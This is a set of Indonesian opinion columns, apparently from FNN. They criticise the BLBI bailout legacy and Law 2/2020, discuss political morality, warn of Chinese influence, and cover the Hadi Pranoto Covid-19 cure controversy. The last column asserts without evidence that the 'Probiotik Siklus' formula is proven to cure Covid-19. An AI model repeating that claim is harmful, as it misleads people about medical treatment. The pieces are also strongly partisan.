Skema bail-out berpotensi melahirkan skandal penyimpangan kekuasaan keuangan negara atas penanganan krisis yang menimbulkan biaya sangat besar bagi negara. Megaskandal Bantuan Likuiditas Bank Indonesis (BLBI) akibat krisis ekonomi 1997-1998 telah membuat negara menanggung beban utang Rp. 640.9 triliun. Utang itu, terdiri dari BLBI Rp. 144,5 triliun, program penjaminan Rp. 53,8 triliun, penjaminan Bank Exim Rp. 20 triliun dan obligasi rekap perbankan Rp. 422,6 triliun. Beban negara ini harus ditanggung rakyat secara keseluruhan melalui beban pajak dan inflasi yang berkelanjutan hingga sekarang. Ternyata sebagian besar pengusaha dan konglomerat penikmat kebijakan zolim fasilitas BLBI (termasuk obligasi rekap) saat ini bukan saja survive, tetapi bahkan tumbuh jauh lebih besar. Posisi mereka sebagai bagian dari oligarki kekuasaan tetap memperoleh berbabagi fasilitas. Mereka juga mendapatkan hak istimewa dari pemerintah seperti yang terjadi sebelumnya. Mereka para konglomerat itu dapat menguasai dan mencengkeram di berbagai sektor ekonomi dan keuangan nasional. Bahkan sebagian konglomerat telah merambah sektor sosial dan politik. Sehingga tidak mengherankan, bila mereka dapat mempengaruhi pembuatan aneka kebijakan, undang-undang dan peraturan pro oligarki, seperti UU Korona Nomor 2/2020. Kombinasi sejumlah ketentuan dalam UU Korona Nomor 2/2020, yakni Pasal 16 terkait bail-out, Pasal 20 tentang peran LPS, Pasal 22 tentang penjaminan dan Pasal 28 terkait eliminasi ketentuan dalam 12 UU yang berlaku, akan berpotensi merlahirkan kebijakan penjaminan penuh simpanan nasabah kaya (blanket guarantee). Disamping tidak adil, berbagai ketentuan tersebut berpotensi memunculkan moral hazard, termasuk oleh pejabat negara, sehingga dapat mengulangi megaskandal BLBI. Pada Pasal 20 UU Korona Nomor 2/2020, LPS diberikan kewenangan merumuskan dan melaksanakan kebijakan penjaminan simpanan untuk kelompok nasabah dengan mempertimbangkan sumber dana dan/atau peruntukkan simpanan serta besaran nilai yang dijamin bagi kelompok nasabah tersebut yang diatur dengan Peraturan Pemerintah. Sedangkan pada Pasal 22 disebutkan guna mencegah krisis sistem keuangan, pemerintah dapat menyelenggarakan program penjaminan di luar program penjaminan simpanan yang diatur dalam undang-undang tentang LPS. Dengan skema penjaminan penuh (full guarantee), maka simpanan konglomerat di perbankan seluruhnya dijamin pemerintah yang berpotensi moral hazard. Menurut BPK, tindakan moral hazard penguasa, pengusaha dan konglomerat yang mengkorupsi uang negara pada megaskandal BLBI dilakukan dalam berbagai modus. Laporan BPK No.06/VII/2000 menyimpulkan terjadi berbagai tindak pidana, sehingga para pelakunya harus diproses secara hukum, dengan pelanggaran sebagai berikut: Penggunaan BLBI diluar kepentingan yang telah ditentukan (yaitu untuk pembayaran dana nasabah), seperti untuk melunasi pinjaman dan kewajiban pembayaran yang tidak dapat dibuktikan kebenarannya, membayar utang kepada kelompok usahanya sendiri, transaksi surat berharga, melunasi dana pihak ketiga yang melanggar ketentuan, membiayai kontrak derivatif baru, membiayai ekspansi kredit, membiayai investasi dalam bentuk aktiva tetap, dan membiayai overhead (biaya operasional bank). Total penyimpangan yang terjadi adalah senilai Rp 84,84 triliun) atau 58,70% dari jumlah BLBI yang dikucurkan per 29 Januari 1999 (sebesarRp 144,5 triliun); Pelanggaran BMPK (Batas Maksimum Pemberian Kredit), yaitu nilai maksimum kredit yang dapat dikucurkan perbankan pada kelompok usaha sendiri. Pelanggaran BMPK sesuai dengan pasal 49 ayat (2) jo pasal 50 jo pasal 50 A UU No 10 Tahun 1998, merupakan tindak pidana yang harus diproses hukum; Pemberian fasilitas oleh BI yang mengizinkan perbankan untuk tetap mengikuti proses kliring walaupun rekening gironya di BI telah bersaldo negatif. Penggelembungan nilai aset oleh para obligor BLBI untuk menutupi kewajiban yang harus dilunasi dalam skema pola Penyelesaian Kewajiban Pemegang Saham. Salim Group, misalnya, menyatakan nilai seluruh aset yang diserahkan pada 1998 adalah Rp 52 triliun (hal ini diterima oleh konsultan BPPN, yakni Lehman Brothers, PT Danareksa, dan PT Bahana tanpa financial due diligence lebih dulu). Namun, audit PricewaterhouseCoopers pada 2000 ternyata menemukan nilai aset Salim hanya berkisar Rp 12 triliun – Rp 20 triliun. Temuan BPK di atas menunjukkan tindakan moral hazard dalam megaskandal BLBI, di samping oleh para konglomerat, juga dilakukan pejabat negara baik di BI maupun lembaga terkait lain. BPK juga menemukan berbagai pelanggaran oleh Badan Penyehatan Perbankan Nasional (BPPN) sebagai berikut: Mengonversi BLBI bank-bank take-over (BTO) menjadi penyertaan modal sementara (PMS); Mengalihkan utang ke bank pemegang saham pengendali melalui pola penyelesaian kewajiban pemegang saham pengendali (PKPS), dengan menandatangani APU; Memerankan diri sebagai agen dari pihak penerima bantuan dari pada sebagai wakil pemerintah yang berhak menarik bantuan likuiditas yang telah diberikan; Aset yang dibayarkan berdasar pengakuan penerima BLBI jauh di atas nilai berlaku. Salah satu contoh, aset tambak udang Dipasena, Lampung milik Sjamsul Nursalim diserahkan kepada BPPN dengan nilai Rp 20 triliun. Padahal menurut perhitungan Menko Ekiun masa itu, Kwik Kian Gie, nilai pasar tambak Dipasena hanya Rp 2 triliun Dalam menjual aset yang dibayarkan penerima bantuan dalam rangka mengonversi aktiva tetap menjadi uang kas kerap jauh di bawah nilai pasar. Kasus BLBI merupakan megaskandal karena menyangkut jumlah dana sangat besar, Rp. 640 triliun. Para konglomerat penerima BLBI masa orde baru menguasai perekonomian nasional dari hulu sampai hilir. Ternyata saat ini, dominasi mereka bukan hanya pada sektor ekonomi dan keuangan, tetapi juga merambah hampir seluruh aspek kehidupan bangsa. Kalau dulu mereka hanya berhasil mempengaruhi pemerintahan Megawati untuk menerbitkan Inpres Nomor 8/2002 agar bebas pidana. Namun pada pemerintahan Jokowi ini, cengekraman mereka semakin kuat. Sehingga mampu dan berperan dalam pembentukan UU Korona Nomor 2/2020, yang berpotensi lebih menyengsarakan rakyat. Akibat megaskandal BLBI yang membuat besarnya beban utang yang ditanggung oleh negara. Untuk membayar bunga utang, maka setiap tahun pemerintah harus mengurangi beberapa pos anggaran untuk aspek-aspek mendasar kehidupan rakyat. Pengurangan tersebut termasuk untuk sektor pendidikan dan kesehatan, yang dibutuhkan oleh masyarakat. Akibatnya, program pos pelayanan terpadu menghilang. Biaya berobat naik. Biaya pendidikan juga naik, dan harga-harga barang/jasa ikuat naik. Meskipun mungkin terdapat perdebatan atas terjadinya penurunan anggaran kesejahteraan publik di tingkat makro, namun kian beratnya beban hidup menjadikan puluhan juta rakyat tetap hidup susah dan miskin. Salah satu cara untuk mengurangi kemiskinan adalah menegakkan hukum dan keadilan terhadap para koruptor BLBI. Minimal sebagian aset mereka harus disita untuk didistribusikan kepada rakyat melalui mekanisme APBN. Namun, dengan ditetapkannya UU Korona Nomor 2/2020, kebijakan dan aturan tersebut bukan saja mengulang kesalahan dan kejahatan yang sarat moral hazard pada masa lalu. Namun kebijakan pemerintah semakin terlihat memihak kepada konglomerat. Kebijakan ini akan menambah kesengsaraan rakyat dan jumlah orang miskin itu sendiri. Bahkan, menurut CORE, pada kuartal-2 tahun 2020, akibat pendemi korona, penduduk miskin Indonesia akan bertambah sesuai skenario moderat 5,1 juta hingga sangat berat 12,2 juta jiwa. Dengan demikian, pada akhir 2020 nanti, jumlah penduduk di bawah garis kemiskinan diperkirakan mencapai 37,9 juta jiwa (14,35%). Situasi akan semakin parah jika anggaran perlindungan sosial lebih rendah dibanding dengan anggaran pemulihan ekonomi yang ditengarai sangat pro kepada pengusaha. Sama seperti pada megaskandal BLBI dulu. Karena itu, Koalisi Masyarakat Penegak Kedaulatan (KMPK) telah menggugat UU Korona No.2/2020 ke Mahkamah Konstitusi. Rakyat pun harus bangkit menolak UU pro oligarki tersebut. Penulis adalah Kordinator Koalisi Masyarakat Penegak Kedaulatan (KMPK).

Moral Politik dan Arah Perjuangan

by Dr. Syahganda Nainggolan Jakarta FNN – Rabu (05/08). Rizal Ramli melalui media konfrontasi online memberi pesan tentang moral politik dan ketika puluhan tokoh-tokoh bangsa yang berkumpul merencanakan deklarasi Koalisi Aksi Menyelamatkan Indonesia (KAMI) . Tulisan tentang "Moral Politik" itu sesuai dengan pesan Rizal Ramli kepada saya sebagai syarat bergabungnya beliau dalam perjuangan bersama koalisi KAMI. Bergabungnya Rizal Ramli itu, baik tentang renacana kehadirannya pada acara tanggal 2 Agustus lalu, maupun selanjutnya. Lantas apa itu moral politik? Pertanyaan ini menjadi penting, karena syarat kesamaan moral politik dari tokoh Rizal Ramli adalah syarat mutlak. Olehkarenanya kita harus membedah dan memahaminya secara bersama. Pada tahun 1992, ketika saya direkrut Adi Sasono, tokoh LSM (Lembaga Swadaya Masyarakat) yang bekerja untuknya, dia menanyakan tentang moral politik pada saya. Sambil menyupiri mobil mercy tua dari Bandung ke Jakarta, Adi yang adalah cucu Mumammad Roem, tokoh perundingan Roem-Roijen untuk pengakuan kemerdekaan Indonesia di The Hague, meminta jawaban saya. Standar pengetahuan saya yang apolitis ketika itu mengatakan bahwa, moral adalah kelakuan asusila. Menjaga moral adalah menghindari perbuatan asusila, seperti berbuat zina, minum alkohol, mencuri dan sejenisnya. Namun, Adi membantah. Menurutnya orang-orang tidak bermoral adalah aktifis-aktifis yang berburu sekolah keluar negeri. Mereka juga merasa paling tahu Indonesia. Padahal aktifis-aktifis di Indonesia tersiksa oleh kebengisan rezim Soeharto. Di masa setelahnya, saya baru bisa mengerti apa yang disebutkan Adi Sasono saat itu adalah pernyataan kontekstual. Konteksnya pertama, Adi ingin menghibur saya yang dipecat dan dipenjara orde baru karena anti Suharto. Kedua, memang para aktifis yang tidak memburu sekolah ke luar negeri dengan bea siswa asing lebih nasionalis dan berani tahan banting melawan Suharto. Ketiga, aktifis-aktifis mahasiswa yang disekolahkan asing ke Amerika, Australia dan barat lainnya saat itu berubah dari kelompok perlawanan menjadi pengamat atau konsultan berbayar mahal. Sehingga pada saat Adi Sasono menjadi menteri Koperasi di masa pemerintahan Habibie, saya meminta ijin padanya untuk mendapatkan rumah di Kompleks Koperasi di sekitar Cububur. Permintaan itu saya lakukan karena seorang staf ahli menteri mengatakan bahwa asal ada ijin dari menteri, maka saya akan mendapatkan satu rumah gratis. Dan tentu saya ingin memiliki rumah, karena saat itu masih ngontrak. Tragisnyaa, Adi Sasono bukannya menyetujui, malah dia membentak saya. Menurutnya pekerjaan politik saya adalah menggalang rakyat, dan khususnya ke Aceh yang bergolak. Bukan mencari materi dalam perjuangan. Alhasil selama Adi Sasono menteri Koperasi, saya tidak membawa sama sekali penghasilan yang bisa ditabung dan rumah masih mengontrak. Begitulah kekuasaan dalam moral politik, yaitu memperkaya rakyat miskin. Pada suatu hari Adi Sasono dan Muslimin Nasution, menteri Kehutanan Habibie, berunding dengan Raja Kebun Malaysia, Kuok. Kuok ketika itu ingin memiliki 100.000 lahan untuk perkebunan. Adi Sasuno pun menyetujui permintaan Kuok. Namun dengan syarat 70% sahamnya untuk Koperasi, dan sianya 30% lagi untuk Kuok. Kuok jadi terkejut dan terheran-heran, karena seharusnya sebagai investor, Kuok yang mendikte menteri, sehinga porsinya 70% untuk pengusaha, dan 30% lagi mitra yang ditunjuk oleh pemerintah. Namun, sebagai seorang nasionalis, Adi Sasono tetap bertahan bahwa koperasi rakyat harus memiliki 70% saham. Alasan Adi, karena tanah milik negara. Sedangkan uang atas beban pinjaman perusahaan, kontraktor dan lain-lain dibayar perusahan. Akhirnya Kuok sepakat. Sayangnya, pemerintah Habibie terlalu cepat terguling, sehingga rencana tersebut tidak terealisasi. Pada saat berkuasa, penguasa tidak boleh membawa pulang uang abu-abu kerumah . Artinya, yang abu-abu itu tidak jelas asal usulnya. Hal ini diperlihatkan Hariman Siregar ketika menjadi orang kepercayaan Habibie lainnya ketika itu. Semua orang boleh makan sepuasnya di Hotel Mandarin ,atau lainnya di mana Hariman menjamu orang-orang politik. Namun begitu, apa yang dapat dinikmati para aktifis-aktifis miskin di hotel saat itu hanya di ruangan hotel itu saja. Hariman sangat melarang aktifis-aktifis memperkaya diri karena kekuasaan atau aktifis tidak boleh jadi “broker power" untuk kepentingan sendiri atau keluarga. Kembali pada soal Moral Politik yang diangkat Rizal Ramli melalui media konfrontasi online, apa yang terjadi dalam kisah di atas dan tentunya kisah yang bisa digambarkan Rizal Ramli dalam posisi dia berkuasa. Tentu saja menjadi pengalaman segelintir orang-orang suci di politik. Politik di masa lalu adalah politik cita-cita. Mohammad Hatta sampai meninggal dunia tidak mampu membeli sebuah sepatu yang dia inginkan. Sukarno tidak meninggalkan warisan. Adi Sasono sampai wafat adiknya tetap miskin di Pekalongan. Hariman Siregar hidupnya terus dalam standar kesederhanaan. Begitulah moral politik berbicara. Namun, politik paska orde baru bukanlah hitam putih lagi. Orang-orang baik dengan cita-cita telah terdampar lebih buruk dibanding masa Suharto berkuasa. Saat ini politik dan cita-cita bangsa dikendalikan segelintir okigarki dan para taipan. Itu yang disebut Jeffrey Sach sebagai Korporatokrasi. Kira-kira lebih atau sama buruknya dari plutokrasi. Kenapa? Karena sekarang partai-partai politik dan kekuasaan politik berkembang dengan reproduksi tokoh-tokoh pencitraan dan dinasti. Demokrasi uang menaungi sistem politik yang ada sekarang. Selama 22 tahun reformasi, koruptor-koruptor bukan hanya bisa menguasai partai dan menjadi referensi "kesucian". Aparatur negara pun tidak berdaya berhadapan dengan mereka. Lalu Bagaimama ke Depan? Menyaring pasir dengan ayakan halus akan membuat sedikit yang lolos saringan. Sebaliknya menyaring dengan ayakan kasar, pasir kasarpun tidak tersaring. Habibie pernah mengingatkan tentang tetesan air yang jatuh tetes demi tetes ke batu karang, akan menghancurkan batu karang itu perlahan-lahan. Persoalan moralitas politik yang digugat Rizal Ramli tentunya tugas berat kita. Kita sedang melawan sebuah mental bangsa yang rusak. Mental yang gagal untuk direvolusi oleh Jokowi dengan “Revolusi Mentalnya”. Namun, kita tentu tidak menyerah. Standar moral ideal mengelola bangsa tetap pada tiga hal. Pertama, orang-orang suci maupun yang insyaf harus di depan. Di depan artinya mengendalikan kepemimpinan perjuangan. Kedua, ideologi perjuangan adalah alat penyaring yang disebut "ayakan". Ideologi adalah negara dan kekuasaan hanya berfungsi dua, utamanya, membuat orang-orang lebih mencintai Tuhannya dan menjadikan orang-orang miskin kaya. Ketiga, negara dan kekuasaan harus adil terhadap eksistensi keberagaman suku bangsa kita. Penutup Nasihat Rizal Ramli tentang moral politik, baik yang dipesankan kepada saya, maupun melalui nedia konfrontasi online, perlu menjadi perhatian serius gerakan Koalisi Aksi Menyelamatkan Indonesia (KAMI), yang dikumandangkan tanggal 2 Agustus lalu. Rizal yang menunda kehadirannya, padahal sudah memberitahu Profesor Din akan datang saat itu, mengangat isu moral politik. Tentu saja saya harus membahasnya, apa itu moral politik dan bagaimana kita harus merespon? Moral politik adalah sebauh moral gerakan. Moral Politik adalah bagaimana kita melihat kekuasaan dan orang yang menjalankannya. Dalam moral politik yang benar, kekuasaan sejatinya hanya berfungsi untuk membuat rakyatnya lebih cinta Tuhannya (happiness) dan rakyat miskin-miskin itu semua jadi kaya. Dan ini terkait dengan penguasanya. Penguasa bermoral adalah penguasa yang tidak merampok uang negara untuk pribadi. Tidak juga memperkaya hanya orang kaya. Namun tantangan kita saat ini lebih berat dibanding ketika Sukarno Hatta menjadi penguasa. Saat ini demokrasi uang dan uang telah menghancurkan moral yang ada. Sehingga kita perlu melakukan strategi yang tepat tanpa mengurangu garis ideologi perjuangan. Itulah arah perjuangan kita. Penulis adalah Direktur Eksekutif Sabang Merauke Circle.

Indonesia Seperti Negara Bagian China (Bag. Kedua)

by Dr. Margarito Kamis SH. M.Hum Jakarta FNN – Rabu (05/08). Presiden Ping memang punya record-record intelektual dan menejerial top, berkelas dan mengagumkan. Itu memang satu soal. Namun soal lainnya adalah China, seperti pandangan PM Wen Jiabao, berhasrat kuat mengontrol masa depan didunia internasional. Hasrat yang hanya bisa ditopang oleh pemimpin atau Presiden yang top, lincah berkelas dunia. China tahu meraka tidak dapat memksakan negara-negara lain untuk mengikuti pandangan politik dan ekonomi mereka. Tetapi tahu bukan di situ masalah besarnya. China hanya perlu berada front terdepan dalam semua aspek, dan negara-negara lain akan menyesuaikan diri. Dalam kasus vaksin corona, China terlihat mendefenisikan pandemi Corona sebagai pasar sedang terbuka. Pasar ini harus direbut. Itulah kira-kira yang ada dibenak pemerintahan China. China tahu tabiat Amerika, negara terhebat dalam permainan kartu proteksi. Untuk terhindar dari tembakan senjata proteksi Amerika, China tentu harus bergerak selangkah mendahului Amerika. Temuan dini atas vaksin akan membawa mereka menjadi pendefenisi utama pasar vaksin dunia. Paling tidak China akan jadi raja vaksin untuk Indonesia, yang sejauh ini terlihat tak memiliki kebijakan terukur dalam penyediaan vaksin sendiri. Itulah China sekarang. Fokus dan bekerja dengan haluan mereka sendiri. Selebihnya akan datang dengan sendirinya. China cukup tahu bahwa kalau anda tidak ingin dimakan oleh negara besar, maka anda harus besar dalam semua aspek. Kalau anda ingin dihormati, termasuk menguasai dunia, anda harus besar. Itulah ilham dari Amerika. Apapun itu, kini China telah menyediakan kandidat vaksin untuk diuji coba bukan oleh kepada kelinci, tetapi pada kepala manusia. Tragisnya lagi, manusia yang dijadikan kelinci percobaan untuk tahap ketiga itu, bukan orang China, tetapi orang Indonesia. Indonesia terlalu payah dalam urusan seperti ini. Indonesia Terperangkap Kecemasan Indonesia bakal menemukan diri layaknya negara bagian atau provinsi kesekian darai China atau konfederasi China, mungkin saja akan ditertawakan. Para politisi kacangan dan tengik, yang telah mengambil jarak terlalu jauh dari perintah hebat yang tertuang dalam pembukaan UUD 1945, mungkin saja menertawakan kecemasan ini. Pembaca FNN yang budiman. Sulit meminta politisi kacangan dan tengik untuk membangun kecemasan atas postur relasi Indonesia-China sejauh ini. Indonesia yang telah berada sedemikian jauh di belakang China, terlihat tidak cukup menggetarkan para politisi negeri ini. Tidak seperti China yang tahu tidak ada hubungan internasional, terutama di bidang ekonomi yang saling menguntungkan. Para politisi Indonesia justru asyik dengan kesetaraan dunia yang penuh dengan penipuan. Tidak seperti Indonesia, China tahu bahwa relasi dunia internasional, selalu khas leviathan. Yang besar menerkam, mencabik-cabik negara-negara yang kapasitas ekonomi dan militernya kecil. Negara-negara besar itu mengangkangi negara-negara kecil dengan utang dalam berbagai bentuk. Bisa berupa bantuan, pinjaman, dan bahkan sumbangan recehan diberikan. China terus memompa habis kapastitas ekonomi dan militernya. Perusahaan negara mereka dipompa memasuki banyak sektor. Darimana uangnya? Ada utang memang. Selain utang, China memompa kemampuan keuangannya dengan mengandalkan tabungan masyarakat. Dalam urusan itu, China mengontrol secara ketat warga negara mereka untuk tidak membawa uang mereka keluar China sesuka hati mereka. Bagaimana dengan Indonesia? Keluar susah, masuk juga lebih susah. Komunisme mereka, jelas bersifat pseudo pada aspek tertentu. China mengenakan bunga rendah pada penabung domestik. Lalu bank, kata Chu, diguyur kredit dengan bunga murah. Perusahaan China jadinya mengisap rakyat mereka sendiri. Itulah komunisme mereka. Korporasi China lalu merambah dunia dengan berbagai proyek. Di Afrika (Etiopia, Tanzania dan Zambia) misalnya pada tahun 2005-2006 saja China memiliki proyek sebanyak 900 unit. Dan negara-negara itu segera menemukan dirinya terlilit dengan utang. Hebatnya China telah menempatkan pasukan penjaga perdamaian di Liberia. China terus mengamankan masa depannya, dengan ambisi menyediakan keunggulan lain. Pembuatan baterei litium untuk mobil listrik misalnya adalah salah satu cara mereka mengamankan masa depannya. Cerdas mereka dalam menggapai ambisi besarnya, karena mempunyai pemimpin yang hebat, top, berkelas dan mengagumkan. Tidak memiliki raw material, tetapi tetap memelihara ambisi itu. Bagaimana memenuhi ambisi itu? Negara lain, khususnya Indonesia yang tak pernah bisa bergerak maju dalam bidang manufaktur dapat diajak. Bahkan dikadalin untuk menyediakannya. Indonesia pun membentangkan karpet merah, layaknya negara bagian, konfederasi atau provinsi dari China. Toh Indonesia telah terlatih dengan nanyian klasik investasi mendatangkan keuntungan terendiri. Keuntungan itu, salah satunya adalah penyerapan dan penyediaan tenaga kerja dan nilai tambah, karena korporasi itu memproduksinya di Indonesia. Hebat anggapan ini. Padahal korporasinya punya orang China, bukan punya Indonesia. Indonesia cuma dapat pajak alakadarnya. Titik. Tidak terlihat sejauh ini sebagai provinsi kesekian China dalam arti tata negara, itu betul. Tetapi postur politik Indonesia telah tak berdaya dalam banyak hal. Persis China, Indonesia saat ini sedang mati-matian menancapkan lagi kebijakan desentralisasi sejumlah izin. Dalihnya untuk percepatan investasi. Lag-lagi ini anggapan yang konyol dan bahlul, kata orang istilah arab . Hasrat itu diskemakan secara sadar dalam RUU Omnibus Cipta Kerja, yang sejak awal hingga sekarang teridentifikasi bakal menyengsarakan rakyat. Akibatnya, menuai protes terus-terusan. Persis seperti propaganda khas Wall Street dalam menggolkan RUU The Fed. Setiap kali protes muncul, segera direspon dengan argumen tandingan yang mengecohkan. RUU ini, begitu argumen tandingan itu, akan menjadi kunci pembangunan ekonomi Indonesia, dan menyejahterakan pekerja Indonesia. Padahal resentralisasi izin dan syarat pekerja, sekedar sebagai contoh, tak pernah logis sebagai basis pikiran menyejahterakan rakyat. China tentu tak memedulikan friksi ini ini. China terlatih dengan sistem politik dan pemerintahan sentralistik. China tak bakal memedulikan adanya kecemasan Indonesia, yang mulai terlihat seperti provinsi kesekian China. Kasus Afrika membuat China dapat mengatakan kecemasan itu tak beralasan. Tetapi apapun itu, politik pemerintahan yang sedang bekerja sejauh ini, memungkinkan Indonesia benar-benar terlihat seperti konfederasi China. (habis). Penulis adalah Pengajar HTN Univeristas Khairun Ternate.

Antara Hadi Pranoto, Saifuddin Hakim, dan Klaim Vaksin Covid

by Mochamad Toha Jakarta FNN - Selasa (04/08). Akhirnya, Erdian Anji Prihartanto, penyanyi yang akkrab dipanggil Anji, dilaporkan ke polisi terkait dengan klaim Hadi Pranoto di kanal Youtube-nya. Hadi Pranoto terlalu berani mengaku sebagai pakar mikrobiologi seperti disampaikan melalui video wawancaranya bersama penyanyi Anji di kanal Youtube-nya. Anji menyebut Hadi Pranoto sebagai profesor dan ahli mikrobiologi. Setelah dilakukan penelusuran identitas oleh Ikatan Dokter Indonesia (IDI), Hadi Pranoto itu bukan anggota kelompok profesi tersebut. “Kami coba cari di daftar anggota IDI tidak ada Hadi Pranoto seperti di dalam video,” kata Adib Khumaidi. Mengutip Tempo.co, Minggu (2 Agustus 2020 18:50 WIB), Wakil Ketua Umum PB IDI itu mengatakan memang menemukan seseorang bernama Hadi Pranoto sebagai staf pengajar di Universitas Mulawarman. Namun dia bukan Hadi Pranoto yang ada di video itu. Adib mengatakan sudah mengontak kelompok ahli mikrobiologi. Menurut dia, tidak ada yang mengenal Hadi Pranoto. “Kami ada grup, semuanya mengatakan tidak mengenal beliau,” kata Adib. Adib meminta kepolisian untuk turun tangan menelusuri latar belakang Hadi Pranoto. Sebab, ada kemungkinan Hadi telah melakukan pembohongan publik. “Dia bukan seorang dokter atau ahli mikrobiologi bahkan mengaku sebagai profesor, ini kan tentunya harus ditelusuri oleh aparat, bukan tidak mungkin ada kebohongan publik yang dilakukan,” ujar dia. Sebelumnya, nama Hadi Pranoto banyak diperbincangkan di medsos setelah diwawancarai oleh penyanyi Erdian Anji Prihartanto alias Anji di kanal Youtube-nya. Anji menyebut Hadi Pranoto sebagai profesor dan ahli mikrobiologi. Dalam video itu, Hadi Pranoto mengklaim telah menemukan obat atau herbal antibodi untuk menyembuhkan Covid-19. Hadi Pranoto mengklaim sudah menyembuhkan ribuan orang. Menurut dia, hanya butuh waktu dua sampai tiga hari untuk pengobatan. Adib meminta masyarakat berhati-hati. Dia bilang klaimnya itu tidak bisa dibuktikan secara ilmiah. “Masyarakat harus bisa menyaring yang disampaikan oleh siapapun, kalau tidak bisa dibuktikan secara ilmiah, maka keamanan pasien yang menjadi taruhannya,” kata dia. Siapa Hadi Pranoto yang sebenarnya, sudah banyak media yang meneliknya. Mungkin info yang saya tulis ini sedikit berbeda dengan tulisan atau berita yang tersebar di berbagai media, termasuk Tempo.co maupun Kompas.com. Namun sebelum saya uraikan siapa Hadi Pranoto itu, ada baiknya, kita simak komentar dari Saifuddin Hakim yang juga mengaku ahli mikrobiologi dari Department of Microbiology, Faculty of Medicine, Public Health and Nursing, Universitas Gadjah Mada. “Siapakah Profesor Hadi Pranoto, yang katanya profesor mikrobiologi penemu antibodi anti-covid-19?” begitu Saifuddin Hakim mengawali tulisannya yang kini juga viral di berbagai media dan medsos itu. Berikut petikan lengkapnya: Pagi ini, lagi2 dikejutkan dengan video ini yang katanya seorang profesor mikrobiologi penemu antibodi anti-Covid-19. Klaim yg fantastis ... Bahkan beliau mengklaim meneliti virus sejak tahun 2000 (sejak 20 tahun yg lalu), juga meneliti virus influenza (H5N1), SARS-CoV, dan MERS-CoV. Kami lacak ke google scholar, scopus, hasilnya NIHIL. Memang ada nama hadi pranoto, tapi bukan Hadi Pranoto yg muncul dalam video ini. Hasil pelacakan ke database dosen mmg ada nama Hadi Pranoto juga, tapi profilnya berbeda dg orang yg tiba2 muncul dalam video ini (gambar 2) Meneliti virus sejak 20 tahun, tanpa ada satu pun publikasi ilmiah, bahkan di jurnal ecek2 sekalipun? Terus tiba2 muncul sebagai "superhero" penemu antibodi anti-covid-19? Wow ... kalau bener bapak ini bisa publikasi di Nature, Science, terus tahun depan bisa dapat Nobel, pak. Tahu nggak sih beliau ini, antibodi itu apa? Terus penelitiannya kalau membuktikan ini, harus dilakukan di institusi dengan minimal BSL3. Lha emang dia punya Lab BSL3? Punya cell line yg sesuai nggak, pak? Terus di mana bikin antibodinya? Sesuai prinsip GMP atau nggak? Jangan2 cuma cairan keruh aja itu produknya? Record clinical trial-nya di mana? Ternyata, lagi2 saya nemu orang dengan klaim "profesor mikrobiologi". Ini orang kedua yg saya temui. Orang pertama adalah Profesor Ainul Fatah alias Sukardi. Saya pernah menyusup ke seminarnya di Sidoarjo atas bantuan seorang teman. "Penemu" probiotik siklus. Saya punya tanda tangan sertifikat atas nama beliau setelah ikut seminarnya. Katanya, Prof Sukardi ini dicari2 CIA. Ketika dia masuk ruang seminar, kita tidak boleh foto, nggak boleh ambil video. Pokoknya g boleh ada yg tau dia di mana, rumahnya di mana. Pokoknya rahasia, krn "aset negara". (Niat banget saya malam2 naik kereta dari Jogja hanya utk ndatengin profesor jadi2an ini). Bermimpi suatu hari masyarakat Indonesia cerdas dalam menyikapi klaim2 seperti ini. Kepada Bapak, Ibu, mas, mbak, adek2, yg udah nonton video ini, tidak perlu ditonton sampai selesai, banyak info yang tidak benar. Meski saya tidak perlu rinci satu2, nti kepanjangan. Salam sehat!! Semoga kita tetap waras. Ini link google scholar saya, siapa tau ada yg mencari, meski saya masih peneliti pemula: https://scholar.google.co.id/citations?hl=en&user=69FHXg8AAAAJ Hadi Pranoto Hadi Pranoto itu SPd, MPd, bukan doktor, apalagi profesor. Dia ini salah satu anggotanya Laksma TNI DR. Agung Suradi yang menjadi endoser-nya Bio Nuswa yang BPOM-nya di-suspend karena over claim. Hadi Pranoto pernah ketemu dengan formulator (Probiotik Siklus) di Kecamatan Pandaan, Kabupaten Pasuruan, Jawa Timur. Kemudian, Hadi membuat kehebohan yang lebih tepat disebut sebagai “kebodohan”itu. Lalu dia ingin mengganti “baju”, dari Bio Nuswa menjadi nama baru. Tapi dia kelihatan tidak menguasai masalah yang dibahasnya, banyak yang (maaf) asal bunyi. Lepas dari kontroversi tentang Prof Sukardi, tidak terlalu penting tentang kontroversi itu. Yang penting formulanya sudah terbukti bisa menolong banyak orang. Dan, juga itu terbukti kehebatannya berdasar beberapa uji lab dan riset yang sudah dilakukan. Testimoni dan uji klinik telah pula terbukti formulanya berhasil menyembuhkan Covid-19. Andaikan beliau tukang angon wedus, tukang angon sapi, tukang sampah, tukang sapu, atau tukang ngepel, juga terlalu penting bagi tim formulator. Tantangannya, bagi tim melakukan riset atas formula-formulanya, dan menemukan bukti-bukti kehebatan formulanya. Tidak sekedar berdebat tanpa melakukan riset. Makanya, tim tidak akan melakukan seperti yang dilakukan oleh yang lainnya, yang hanya menjual nama besar formulator. Saifuddin Hakim Ada yang perlu dicermati dari cerita Saifuddin Hakim di atas. Dia bilang “menyusup” di acara silaturrahmi Grup Probiotik Siklus (GPS) Sidoarjo di Sun City Hotel. Dari situ saja mencerminkan perilaku yang tidak terpuji. Susunan kalimatnya dipenuhi dengan su'udzon yang tidak mencerminkan seorang akademisi dan sehat. Dia pernah bergabung sebentar “menyusup” ke room GPS-1 dan dikeluarkan oleh Admin karena perilaku yang tidak terpuji. Bagi anggota GPS yang bersikap dan berperilaku seperti Saifuddin Hakim dan sampai saat ini masih ada di GPS, duduk seperti belajar di sana, tapi menyimpan hasad dan kebencian kepada sistem dan gerakan peradaban sehat yang sedang dibangun tim sungguh lebih bijak diam atau bergabung kepada apa yang anda yakini sebagai kebenaran. Kalau Saifuddin Hakim memang berniat “menyusup”, tentunya dia tidak akan salah dalam googling nama Prof Sukardi. Prof AF itu bukanlah ahli mikrobiologi. Tapi, seorang ahli mikro kultur bakteriologi. Silakan googling! Kalau Saifuddin Hakim googling nama Prof AF sebagai ahli mikrobiologi, tentu sampai dia ubek-ubek google tidak akan ketemu. Atau mungkin sekarang ini sudah diralat setelah salah sebut sebagai ahli mikrobiologi? Penulis adalah Wartawan Senior FNN.co.id

Nadiem Minta Maaf, Lebih Baik Lagi Kalau Mundur

